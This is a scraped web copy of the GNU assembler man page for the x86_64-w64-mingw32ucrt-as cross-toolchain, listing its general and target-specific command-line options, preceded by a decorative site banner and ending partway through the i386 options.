hwloc-gather-cpuid will return nonzero exit status if any kind of error occurs, such as (but not limited to) failure to create the output files.

SEE ALSO

hwloc(7), hwloc-gather-topology(1), lstopo(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1519 - Linux cli command x86_64-w64-mingw32ucrt-as

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-as and provides detailed information about the command x86_64-w64-mingw32ucrt-as, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-as.

NAME 🖥️ x86_64-w64-mingw32ucrt-as 🖥️

the portable GNU assembler.

SYNOPSIS

as [-a[cdghilns][=file]] [–alternate] [–compress-debug-sections] [–nocompress-debug-sections] [-D] [–dump-config] [–debug-prefix-map old=new] [–defsym sym=val] [–elf-stt-common=[no|yes]] [–emulation=name] [-f] [-g] [–gstabs] [–gstabs+] [–gdwarf-<N>] [–gdwarf-sections] [–gdwarf-cie-version=VERSION] [–generate-missing-build-notes=[no|yes]] [–gsframe] [–hash-size=N] [–help] [–target-help] [-I dir] [-J] [-K] [–keep-locals] [-L] [–listing-lhs-width=NUM] [–listing-lhs-width2=NUM] [–listing-rhs-width=NUM] [–listing-cont-lines=NUM] [–multibyte-handling=[allow|warn|warn-sym-only]] [–no-pad-sections] [-o objfile] [-R] [–scfi=experimental] [–sectname-subst] [–size-check=[error|warning]] [–statistics] [-v] [-version] [–version] [-W] [–no-warn] [–warn] [–fatal-warnings] [-w] [-x] [-Z] [@FILE] [target-options] [|files …]

TARGET

Target AArch64 options: [-EB|-EL] [-mabi=ABI]

Target Alpha options: [-mcpu] [-mdebug | -no-mdebug] [-replace | -noreplace] [-relax] [-g] [-Gsize] [-F] [-32addr]

Target ARC options: [-mcpu=cpu] [-mA6|-mARC600|-mARC601|-mA7|-mARC700|-mEM|-mHS] [-mcode-density] [-mrelax] [-EB|-EL]

Target ARM options: [-mcpu=processor[+extension…]] [-march=architecture[+extension…]] [-mfpu=floating-point-format] [-mfloat-abi=abi] [-meabi=ver] [-mthumb] [-EB|-EL] [-mapcs-32|-mapcs-26|-mapcs-float| -mapcs-reentrant] [-mthumb-interwork] [-k]

Target Blackfin options: [-mcpu=processor[-sirevision]] [-mfdpic] [-mno-fdpic] [-mnopic]

Target BPF options: [-EL] [-EB]

Target CRIS options: [–underscore | –no-underscore] [–pic] [-N] [–emulation=criself | –emulation=crisaout] [–march=v0_v10 | –march=v10 | –march=v32 | –march=common_v10_v32]

Target C-SKY options: [-march=arch] [-mcpu=cpu] [-EL] [-mlittle-endian] [-EB] [-mbig-endian] [-fpic] [-pic] [-mljump] [-mno-ljump] [-force2bsr] [-mforce2bsr] [-no-force2bsr] [-mno-force2bsr] [-jsri2bsr] [-mjsri2bsr] [-no-jsri2bsr ] [-mno-jsri2bsr] [-mnolrw ] [-mno-lrw] [-melrw] [-mno-elrw] [-mlaf ] [-mliterals-after-func] [-mno-laf] [-mno-literals-after-func] [-mlabr] [-mliterals-after-br] [-mno-labr] [-mnoliterals-after-br] [-mistack] [-mno-istack] [-mhard-float] [-mmp] [-mcp] [-mcache] [-msecurity] [-mtrust] [-mdsp] [-medsp] [-mvdsp]

Target D10V options: [-O]

Target D30V options: [-O|-n|-N]

Target EPIPHANY options: [-mepiphany|-mepiphany16]

Target H8/300 options: [-h-tick-hex]

Target i386 options: [–32|–x32|–64] [-n] [-march=CPU[+EXTENSION…]] [-mtune=CPU]

Target IA-64 options: [-mconstant-gp|-mauto-pic] [-milp32|-milp64|-mlp64|-mp64] [-mle|mbe] [-mtune=itanium1|-mtune=itanium2] [-munwind-check=warning|-munwind-check=error] [-mhint.b=ok|-mhint.b=warning|-mhint.b=error] [-x|-xexplicit] [-xauto] [-xdebug]

Target IP2K options: [-mip2022|-mip2022ext]

Target M32C options: [-m32c|-m16c] [-relax] [-h-tick-hex]

Target M32R options: [–m32rx|–[no-]warn-explicit-parallel-conflicts| –W[n]p]

Target M680X0 options: [-l] [-m68000|-m68010|-m68020|…]

Target M68HC11 options: [-m68hc11|-m68hc12|-m68hcs12|-mm9s12x|-mm9s12xg] [-mshort|-mlong] [-mshort-double|-mlong-double] [–force-long-branches] [–short-branches] [–strict-direct-mode] [–print-insn-syntax] [–print-opcodes] [–generate-example]

Target MCORE options: [-jsri2bsr] [-sifilter] [-relax] [-mcpu=[210|340]]

Target Meta options: [-mcpu=cpu] [-mfpu=cpu] [-mdsp=cpu] Target MICROBLAZE options: [-mlittle-endian] [-mbig-endian]

Target MIPS options: [-nocpp] [-EL] [-EB] [-O[optimization level]] [-g[debug level]] [-G num] [-KPIC] [-call_shared] [-non_shared] [-xgot [-mvxworks-pic] [-mabi=ABI] [-32] [-n32] [-64] [-mfp32] [-mgp32] [-mfp64] [-mgp64] [-mfpxx] [-modd-spreg] [-mno-odd-spreg] [-march=CPU] [-mtune=CPU] [-mips1] [-mips2] [-mips3] [-mips4] [-mips5] [-mips32] [-mips32r2] [-mips32r3] [-mips32r5] [-mips32r6] [-mips64] [-mips64r2] [-mips64r3] [-mips64r5] [-mips64r6] [-construct-floats] [-no-construct-floats] [-mignore-branch-isa] [-mno-ignore-branch-isa] [-mnan=encoding] [-trap] [-no-break] [-break] [-no-trap] [-mips16] [-no-mips16] [-mmips16e2] [-mno-mips16e2] [-mmicromips] [-mno-micromips] [-msmartmips] [-mno-smartmips] [-mips3d] [-no-mips3d] [-mdmx] [-no-mdmx] [-mdsp] [-mno-dsp] [-mdspr2] [-mno-dspr2] [-mdspr3] [-mno-dspr3] [-mmsa] [-mno-msa] [-mxpa] [-mno-xpa] [-mmt] [-mno-mt] [-mmcu] [-mno-mcu] [-mcrc] [-mno-crc] [-mginv] [-mno-ginv] [-mloongson-mmi] [-mno-loongson-mmi] [-mloongson-cam] [-mno-loongson-cam] [-mloongson-ext] [-mno-loongson-ext] [-mloongson-ext2] [-mno-loongson-ext2] [-minsn32] [-mno-insn32] [-mfix7000] [-mno-fix7000] [-mfix-rm7000] [-mno-fix-rm7000] [-mfix-vr4120] [-mno-fix-vr4120] [-mfix-vr4130] [-mno-fix-vr4130] [-mfix-r5900] [-mno-fix-r5900] [-mdebug] [-no-mdebug] [-mpdr] [-mno-pdr]

Target MMIX options: [–fixed-special-register-names] [–globalize-symbols] [–gnu-syntax] [–relax] [–no-predefined-symbols] [–no-expand] [–no-merge-gregs] [-x] [–linker-allocated-gregs]

Target Nios II options: [-relax-all] [-relax-section] [-no-relax] [-EB] [-EL]

Target NDS32 options: [-EL] [-EB] [-O] [-Os] [-mcpu=cpu] [-misa=isa] [-mabi=abi] [-mall-ext] [-m[no-]16-bit] [-m[no-]perf-ext] [-m[no-]perf2-ext] [-m[no-]string-ext] [-m[no-]dsp-ext] [-m[no-]mac] [-m[no-]div] [-m[no-]audio-isa-ext] [-m[no-]fpu-sp-ext] [-m[no-]fpu-dp-ext] [-m[no-]fpu-fma] [-mfpu-freg=FREG] [-mreduced-regs] [-mfull-regs] [-m[no-]dx-regs] [-mpic] [-mno-relax] [-mb2bb]

Target PDP11 options: [-mpic|-mno-pic] [-mall] [-mno-extensions] [-mextension|-mno-extension] [-mcpu] [-mmachine]

Target picoJava options: [-mb|-me]

Target PowerPC options: [-a32|-a64] [-mpwrx|-mpwr2|-mpwr|-m601|-mppc|-mppc32|-m603|-m604|-m403|-m405| -m440|-m464|-m476|-m7400|-m7410|-m7450|-m7455|-m750cl|-mgekko| -mbroadway|-mppc64|-m620|-me500|-e500x2|-me500mc|-me500mc64|-me5500| -me6500|-mppc64bridge|-mbooke|-mpower4|-mpwr4|-mpower5|-mpwr5|-mpwr5x| -mpower6|-mpwr6|-mpower7|-mpwr7|-mpower8|-mpwr8|-mpower9|-mpwr9-ma2| -mcell|-mspe|-mspe2|-mtitan|-me300|-mcom] [-many] [-maltivec|-mvsx|-mhtm|-mvle] [-mregnames|-mno-regnames] [-mrelocatable|-mrelocatable-lib|-K PIC] [-memb] [-mlittle|-mlittle-endian|-le|-mbig|-mbig-endian|-be] [-msolaris|-mno-solaris] [**-nops=**count]

Target PRU options: [-link-relax] [-mnolink-relax] [-mno-warn-regname-label]

Target RISC-V options: [-fpic|-fPIC|-fno-pic] [-march=ISA] [-mabi=ABI] [-mlittle-endian|-mbig-endian]

Target RL78 options: [-mg10] [-m32bit-doubles|-m64bit-doubles]

Target RX options: [-mlittle-endian|-mbig-endian] [-m32bit-doubles|-m64bit-doubles] [-muse-conventional-section-names] [-msmall-data-limit] [-mpid] [-mrelax] [-mint-register=number] [-mgcc-abi|-mrx-abi]

Target s390 options: [-m31|-m64] [-mesa|-mzarch] [-march=CPU] [-mregnames|-mno-regnames] [-mwarn-areg-zero] [-mwarn-regtype-mismatch=strict -mwarn-regtype-mismatch=relaxed -mwarn-regtype-mismatch=no -mno-warn-regtype-mismatch]

Target SCORE options: [-EB][-EL][-FIXDD][-NWARN] [-SCORE5][-SCORE5U][-SCORE7][-SCORE3] [-march=score7][-march=score3] [-USE_R1][-KPIC][-O0][-G num][-V]

Target SPARC options: [-Av6|-Av7|-Av8|-Aleon|-Asparclet|-Asparclite -Av8plus|-Av8plusa|-Av8plusb|-Av8plusc|-Av8plusd -Av8plusv|-Av8plusm|-Av9|-Av9a|-Av9b|-Av9c -Av9d|-Av9e|-Av9v|-Av9m|-Asparc|-Asparcvis -Asparcvis2|-Asparcfmaf|-Asparcima|-Asparcvis3 -Asparcvisr|-Asparc5] [-xarch=v8plus|-xarch=v8plusa]|-xarch=v8plusb|-xarch=v8plusc -xarch=v8plusd|-xarch=v8plusv|-xarch=v8plusm|-xarch=v9 -xarch=v9a|-xarch=v9b|-xarch=v9c|-xarch=v9d|-xarch=v9e -xarch=v9v|-xarch=v9m|-xarch=sparc|-xarch=sparcvis -xarch=sparcvis2|-xarch=sparcfmaf|-xarch=sparcima -xarch=sparcvis3|-xarch=sparcvisr|-xarch=sparc5 -bump] [-32|-64] [–enforce-aligned-data][–dcti-couples-detect]

Target TIC54X options: [-mcpu=54[123589]|-mcpu=54[56]lp] [-mfar-mode|-mf] [-merrors-to-file <filename>|-me <filename>]

Target TIC6X options: [-march=arch] [-mbig-endian|-mlittle-endian] [-mdsbt|-mno-dsbt] [-mpid=no|-mpid=near|-mpid=far] [-mpic|-mno-pic]

Target TILE-Gx options: [-m32|-m64][-EB][-EL]

Target Visium options: [**-mtune=**arch]

Target Xtensa options: [–[no-]text-section-literals] [–[no-]auto-litpools] [–[no-]absolute-literals] [–[no-]target-align] [–[no-]longcalls] [–[no-]transform] [–rename-section oldname=newname] [–[no-]trampolines] [–abi-windowed|–abi-call0]

Target Z80 options: [-march=CPU[-EXT][+EXT]] [-local-prefix=PREFIX] [-colonless] [-sdcc] [**-fp-s=FORMAT] [-fp-d=**FORMAT]

DESCRIPTION

GNU as is really a family of assemblers. If you use (or have used) the GNU assembler on one architecture, you should find a fairly similar environment when you use it on another architecture. Each version has much in common with the others, including object file formats, most assembler directives (often called pseudo-ops) and assembler syntax.

as is primarily intended to assemble the output of the GNU C compiler gcc for use by the linker ld. Nevertheless, we’ve tried to make as assemble correctly everything that other assemblers for the same machine would assemble. Any exceptions are documented explicitly. This doesn’t mean as always uses the same syntax as another assembler for the same architecture; for example, we know of several incompatible versions of 680x0 assembly language syntax.

Each time you run as it assembles exactly one source program. The source program is made up of one or more files. (The standard input is also a file.)

You give as a command line that has zero or more input file names. The input files are read (from left file name to right). A command-line argument (in any position) that has no special meaning is taken to be an input file name.

If you give as no file names it attempts to read one input file from the as standard input, which is normally your terminal. You may have to type ctl-D to tell as there is no more program to assemble.

Use if you need to explicitly name the standard input file in your command line.

If the source is empty, as produces a small, empty object file.

as may write warnings and error messages to the standard error file (usually your terminal). This should not happen when a compiler runs as automatically. Warnings report an assumption made so that as could keep assembling a flawed program; errors report a grave problem that stops the assembly.

If you are invoking as via the GNU C compiler, you can use the -Wa option to pass arguments through to the assembler. The assembler arguments must be separated from each other (and the -Wa) by commas. For example:

gcc -c -g -O -Wa,-alh,-L file.c

This passes two options to the assembler: -alh (emit a listing to standard output with high-level and assembly source) and -L (retain local symbols in the symbol table).

Usually you do not need to use this -Wa mechanism, since many compiler command-line options are automatically passed to the assembler by the compiler. (You can call the GNU compiler driver with the -v option to see precisely what options it passes to each compilation pass, including the assembler.)

OPTIONS

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a[cdghilmns]
Turn on listings, in any of a variety of ways:

-ac
omit false conditionals

-ad
omit debugging directives

-ag
include general information, like as version and options passed

-ah
include high-level source

-al
include assembly

-ali
include assembly with ginsn

-am
include macro expansions

-an
omit forms processing

-as
include symbols

=file
set the name of the listing file

You may combine these options; for example, use -aln for assembly listing without forms processing. The =file option, if used, must be the last one. By itself, -a defaults to -ahls.

–alternate
Begin in alternate macro mode.

–compress-debug-sections
Compress DWARF debug sections using zlib with SHF_COMPRESSED from the ELF ABI. The resulting object file may not be compatible with older linkers and object file utilities. Note if compression would make a given section larger then it is not compressed.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

These options control how DWARF debug sections are compressed. –compress-debug-sections=none is equivalent to –nocompress-debug-sections. –compress-debug-sections=zlib and –compress-debug-sections=zlib-gabi are equivalent to –compress-debug-sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections using the obsoleted zlib-gnu format. The debug sections are renamed to begin with .zdebug. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note - if compression would actually make a section larger, then it is not compressed nor renamed.

–nocompress-debug-sections
Do not compress DWARF debug sections. This is usually the default for all targets except the x86/x86_64, but a configure time option can be used to override this.

-D
Enable debugging in target specific backends, if supported. Otherwise ignored. Even if ignored, this option is accepted for script compatibility with calls to other assemblers.

–debug-prefix-map old=new
When assembling files in directory old, record debugging information describing them as in new instead.

–defsym sym=value
Define the symbol sym to be value before assembling the input file. value must be an integer constant. As in C, a leading 0x indicates a hexadecimal value, and a leading 0 indicates an octal value. The value of the symbol can be overridden inside a source file via the use of a .set pseudo-op.

–dump-config
Displays how the assembler is configured and then exits.

–elf-stt-common=no

–elf-stt-common=yes

These options control whether the ELF assembler should generate common symbols with the STT_COMMON type. The default can be controlled by a configure option –enable-elf-stt-common.

–emulation=name
If the assembler is configured to support multiple different target configurations then this option can be used to select the desired form.

-f
“fast”—skip whitespace and comment preprocessing (assume source is compiler output).

-g

–gen-debug

Generate debugging information for each assembler source line using whichever debug format is preferred by the target. This currently means either STABS, ECOFF or DWARF2. When the debug format is DWARF then a .debug_info and .debug_line section is only emitted when the assembly file doesn’t generate one itself.

–gstabs
Generate stabs debugging information for each assembler line. This may help debugging assembler code, if the debugger can handle it.

–gstabs+
Generate stabs debugging information for each assembler line, with GNU extensions that probably only gdb can handle, and that could make other debuggers crash or refuse to read your program. This may help debugging assembler code. Currently the only GNU extension is the location of the current working directory at assembling time.

–gdwarf-2
Generate DWARF2 debugging information for each assembler line. This may help debugging assembler code, if the debugger can handle it. Note—this option is only supported by some targets, not all of them.

–gdwarf-3
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 3 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-4
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 4 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-5
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 5 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-sections
Instead of creating a .debug_line section, create a series of .debug_line.foo sections where foo is the name of the corresponding code section. For example a code section called .text.func will have its dwarf line number information placed into a section called .debug_line.text.func. If the code section is just called .text then debug line section will still be called just .debug_line without any suffix.

–gdwarf-cie-version=version
Control which version of DWARF Common Information Entries (CIEs) are produced. When this flag is not specified the default is version 1, though some targets can modify this default. Other possible values for version are 3 or 4.

–generate-missing-build-notes=yes

–generate-missing-build-notes=no

These options control whether the ELF assembler should generate GNU Build attribute notes if none are present in the input sources. The default can be controlled by the –enable-generate-build-notes configure option.

–gsframe

–gsframe

Create .sframe section from CFI directives.

–hash-size N
Ignored. Supported for command line compatibility with other assemblers.

–help
Print a summary of the command-line options and exit.

–target-help
Print a summary of all target specific options and exit.

-I dir
Add directory dir to the search list for .include directives.

-J
Don’t warn about signed overflow.

-K
Issue warnings when difference tables altered for long displacements.

-L

–keep-locals

Keep (in the symbol table) local symbols. These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.

–listing-lhs-width=number
Set the maximum width, in words, of the output data column for an assembler listing to number.

–listing-lhs-width2=number
Set the maximum width, in words, of the output data column for continuation lines in an assembler listing to number.

–listing-rhs-width=number
Set the maximum width of an input source line, as displayed in a listing, to number bytes.

–listing-cont-lines=number
Set the maximum number of lines printed in a listing for a single line of input to number + 1.

–multibyte-handling=allow

–multibyte-handling=warn

–multibyte-handling=warn-sym-only

–multibyte-handling=warn_sym_only

Controls how the assembler handles multibyte characters in the input. The default (which can be restored by using the allow argument) is to allow such characters without complaint. Using the warn argument will make the assembler generate a warning message whenever any multibyte character is encountered. Using the warn-sym-only argument will only cause a warning to be generated when a symbol is defined with a name that contains multibyte characters. (References to undefined symbols will not generate a warning).

–no-pad-sections
Stop the assembler for padding the ends of output sections to the alignment of that section. The default is to pad the sections, but this can waste space which might be needed on targets which have tight memory constraints.

-o objfile
Name the object-file output from as objfile.

-R
Fold the data section into the text section.

–reduce-memory-overheads
Ignored. Supported for compatibility with tools that pass the same option to both the assembler and the linker.

–scfi=experimental
This option controls whether the assembler should synthesize CFI for hand-written input. If the input already contains some synthesizable CFI directives, the assembler ignores them and emits a warning. Note that --scfi=experimental is not intended to be used for compiler-generated code, including inline assembly. This experimental support is work in progress. Only System V AMD64 ABI is supported. Each input function in assembly must begin with the .type directive, and should ideally be closed off using a .size directive. When using SCFI, each .type directive prompts GAS to start a new FDE (a.k.a., Function Descriptor Entry). This implies that with each .type directive, a previous block of instructions, if any, is finalised as a distinct FDE.

–sectname-subst
Honor substitution sequences in section names.

–size-check=error

–size-check=warning

Issue an error or warning for invalid ELF .size directive.

–statistics
Print the maximum space (in bytes) and total time (in seconds) used by assembly.

–strip-local-absolute
Remove local absolute symbols from the outgoing symbol table.

-v

-version

Print the as version.

–version
Print the as version and exit.

-W

–no-warn

Suppress warning messages.

–warn
Don’t suppress warning messages or treat them as errors.

–fatal-warnings
Treat warnings as errors.

-w
Ignored.

-x
Ignored.

-Z
Generate an object file even after errors.

– | files …
Standard input, or source files to assemble.

The following options are available when as is configured for the 64-bit mode of the ARM Architecture (AArch64).

-EB
This option specifies that the output generated by the assembler should be marked as being encoded for a big-endian processor.

-EL
This option specifies that the output generated by the assembler should be marked as being encoded for a little-endian processor.

-mabi=abi
Specify which ABI the source code uses. The recognized arguments are: ilp32 and lp64, which decides the generated object file in ELF32 and ELF64 format respectively. The default is lp64.

-mcpu=processor[+extension…]
This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: cortex-a34, cortex-a35, cortex-a53, cortex-a55, cortex-a57, cortex-a65, cortex-a65ae, cortex-a72, cortex-a73, cortex-a75, cortex-a76, cortex-a76ae, cortex-a77, cortex-a78, cortex-a78ae, cortex-a78c, cortex-a510, cortex-a520, cortex-a710, cortex-a720, ares, exynos-m1, falkor, neoverse-n1, neoverse-n2, neoverse-e1, neoverse-v1, qdf24xx, saphira, thunderx, vulcan, xgene1 xgene2, cortex-r82, cortex-x1, cortex-x2, cortex-x3, and cortex-x4. The special name all may be used to allow the assembler to accept instructions valid for any supported processor, including all optional extensions. In addition to the basic instruction set, the assembler can be told to accept, or restrict, various extension mnemonics that extend the processor. If some implementations of a particular processor can have an extension, then then those extensions are automatically enabled. Consequently, you will not normally have to specify any additional extensions.

-march=architecture[+extension…]
This option specifies the target architecture. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target architecture. The following architecture names are recognized: armv8-a, armv8.1-a, armv8.2-a, armv8.3-a, armv8.4-a armv8.5-a, armv8.6-a, armv8.7-a, armv8.8-a, armv8.9-a, armv8-r, armv9-a, armv9.1-a, armv9.2-a, armv9.3-a, armv9.4-a and armv9.5-a. If both -mcpu and -march are specified, the assembler will use the setting for -mcpu. If neither are specified, the assembler will default to -mcpu=all. The architecture option can be extended with the same instruction set extension options as the -mcpu option. Unlike -mcpu, extensions are not always enabled by default.

-mverbose-error
This option enables verbose error messages for AArch64 gas. This option is enabled by default.

-mno-verbose-error
This option disables verbose error messages in AArch64 gas.

The following options are available when as is configured for an Alpha processor.

-mcpu
This option specifies the target processor. If an attempt is made to assemble an instruction which will not execute on the target processor, the assembler may either expand the instruction as a macro or issue an error message. This option is equivalent to the .arch directive. The following processor names are recognized: 21064, 21064a, 21066, 21068, 21164, 21164a, 21164pc, 21264, 21264a, 21264b, ev4, ev5, lca45, ev5, ev56, pca56, ev6, ev67, ev68. The special name all may be used to allow the assembler to accept instructions valid for any Alpha processor. In order to support existing practice in OSF/1 with respect to .arch, and existing practice within MILO (the Linux ARC bootloader), the numbered processor names (e.g. 21064) enable the processor-specific PALcode instructions, while the “electro-vlasic” names (e.g. ev4) do not.

-mdebug

-no-mdebug

Enables or disables the generation of .mdebug encapsulation for stabs directives and procedure descriptors. The default is to automatically enable .mdebug when the first stabs directive is seen.

-relax
This option forces all relocations to be put into the object file, instead of saving space and resolving some relocations at assembly time. Note that this option does not propagate all symbol arithmetic into the object file, because not all symbol arithmetic can be represented. However, the option can still be useful in specific applications.

-replace

-noreplace

Enables or disables the optimization of procedure calls, both at assemblage and at link time. These options are only available for VMS targets and -replace is the default. See section 1.4.1 of the OpenVMS Linker Utility Manual.

-g
This option is used when the compiler generates debug information. When gcc is using mips-tfile to generate debug information for ECOFF, local labels must be passed through to the object file. Otherwise this option has no effect.

-Gsize
A local common symbol larger than size is placed in .bss, while smaller symbols are placed in .sbss.

-F

-32addr

These options are ignored for backward compatibility.

The following options are available when as is configured for an ARC processor.

-mcpu=cpu
This option selects the core processor variant.

-EB | -EL
Select either big-endian (-EB) or little-endian (-EL) output.

-mcode-density
Enable Code Density extension instructions.

The following options are available when as is configured for the ARM processor family.

-mcpu=processor[+extension…]
Specify which ARM processor variant is the target.

-march=architecture[+extension…]
Specify which ARM architecture variant is used by the target.

-mfpu=floating-point-format
Select which Floating Point architecture is the target.

-mfloat-abi=abi
Select which floating point ABI is in use.

-mthumb
Enable Thumb only instruction decoding.

-mapcs-32 | -mapcs-26 | -mapcs-float | -mapcs-reentrant
Select which procedure calling convention is in use.

-EB | -EL
Select either big-endian (-EB) or little-endian (-EL) output.

-mthumb-interwork
Specify that the code has been generated with interworking between Thumb and ARM code in mind.

-mccs
Turns on CodeComposer Studio assembly syntax compatibility mode.

-k
Specify that PIC code has been generated.

The following options are available when as is configured for the Blackfin processor family.

-mcpu=processor[-sirevision]
This option specifies the target processor. The optional sirevision is not used in assembler. It’s here such that GCC can easily pass down its -mcpu= option. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: bf504, bf506, bf512, bf514, bf516, bf518, bf522, bf523, bf524, bf525, bf526, bf527, bf531, bf532, bf533, bf534, bf535 (not implemented yet), bf536, bf537, bf538, bf539, bf542, bf542m, bf544, bf544m, bf547, bf547m, bf548, bf548m, bf549, bf549m, bf561, and bf592.

-mfdpic
Assemble for the FDPIC ABI.

-mno-fdpic

-mnopic

Disable -mfdpic.

The following options are available when as is configured for the Linux kernel BPF processor family.

@chapter BPF Dependent Features

BPF Options

-EB
This option specifies that the assembler should emit big-endian eBPF.

-EL
This option specifies that the assembler should emit little-endian eBPF.

-mdialect=dialect
This option specifies the assembly language dialect to recognize while assembling. The assembler supports normal and pseudoc.

-misa-spec=spec
This option specifies the version of the BPF instruction set to use when assembling. The BPF ISA versions supported are v1 v2, v3 and v4. The value xbpf can be specified to recognize extra instructions that are used by GCC for testing purposes. But beware this is not valid BPF.

-mno-relax
This option tells the assembler to not relax instructions.

Note that if no endianness option is specified in the command line, the host endianness is used. See the info pages for documentation of the CRIS-specific options.

The following options are available when as is configured for the C-SKY processor family.

-march=archname
Assemble for architecture archname. The –help option lists valid values for archname.

-mcpu=cpuname
Assemble for architecture cpuname. The –help option lists valid values for cpuname.

-EL

-mlittle-endian

Generate little-endian output.

-EB

-mbig-endian

Generate big-endian output.

-fpic

-pic

Generate position-independent code.

-mljump

-mno-ljump

Enable/disable transformation of the short branch instructions jbf, jbt, and jbr to jmpi. This option is for V2 processors only. It is ignored on CK801 and CK802 targets, which do not support the jmpi instruction, and is enabled by default for other processors.

-mbranch-stub

-mno-branch-stub

Pass through R_CKCORE_PCREL_IMM26BY2 relocations for bsr instructions to the linker. This option is only available for bare-metal C-SKY V2 ELF targets, where it is enabled by default. It cannot be used in code that will be dynamically linked against shared libraries.

-force2bsr

-mforce2bsr

-no-force2bsr

-mno-force2bsr

Enable/disable transformation of jbsr instructions to bsr. This option is always enabled (and -mno-force2bsr is ignored) for CK801/CK802 targets. It is also always enabled when -mbranch-stub is in effect.

-jsri2bsr

-mjsri2bsr

-no-jsri2bsr

-mno-jsri2bsr

Enable/disable transformation of jsri instructions to bsr. This option is enabled by default.

-mnolrw

-mno-lrw

Enable/disable transformation of lrw instructions into a movih/ori pair.

-melrw

-mno-elrw

Enable/disable extended lrw instructions. This option is enabled by default for CK800-series processors.

-mlaf

-mliterals-after-func

-mno-laf

-mno-literals-after-func

Enable/disable placement of literal pools after each function.

-mlabr

-mliterals-after-br

-mno-labr

-mnoliterals-after-br

Enable/disable placement of literal pools after unconditional branches. This option is enabled by default.

-mistack

-mno-istack

Enable/disable interrupt stack instructions. This option is enabled by default on CK801, CK802, and CK802 processors.

The following options explicitly enable certain optional instructions. These features are also enabled implicitly by using -mcpu= to specify a processor that supports it.

-mhard-float
Enable hard float instructions.

-mmp
Enable multiprocessor instructions.

-mcp
Enable coprocessor instructions.

-mcache
Enable cache prefetch instruction.

-msecurity
Enable C-SKY security instructions.

-mtrust
Enable C-SKY trust instructions.

-mdsp
Enable DSP instructions.

-medsp
Enable enhanced DSP instructions.

-mvdsp
Enable vector DSP instructions.

The following options are available when as is configured for an Epiphany processor.

-mepiphany
Specifies that the both 32 and 16 bit instructions are allowed. This is the default behavior.

-mepiphany16
Restricts the permitted instructions to just the 16 bit set.

The following options are available when as is configured for an H8/300 processor. @chapter H8/300 Dependent Features

Options

The Renesas H8/300 version of as has one machine-dependent option:

-h-tick-hex
Support H'00 style hex constants in addition to 0x00 style.

-mach=name
Sets the H8300 machine variant. The following machine names are recognised: h8300h, h8300hn, h8300s, h8300sn, h8300sx and h8300sxn.

The following options are available when as is configured for an i386 processor.

–32 | –x32 | –64
Select the word size, either 32 bits or 64 bits. –32 implies Intel i386 architecture, while –x32 and –64 imply AMD x86-64 architecture with 32-bit or 64-bit word-size respectively. These options are only available with the ELF object file format, and require that the necessary BFD support has been included (on a 32-bit platform you have to add –enable-64-bit-bfd to configure enable 64-bit usage and use x86-64 as target platform).

-n
By default, x86 GAS replaces multiple nop instructions used for alignment within code sections with multi-byte nop instructions such as leal 0(%esi,1),%esi. This switch disables the optimization if a single byte nop (0x90) is explicitly specified as the fill byte for alignment.

–divide
On SVR4-derived platforms, the character / is treated as a comment character, which means that it cannot be used in expressions. The –divide option turns / into a normal character. This does not disable / at the beginning of a line starting a comment, or affect using # for starting a comment.

-march=CPU[+EXTENSION…]
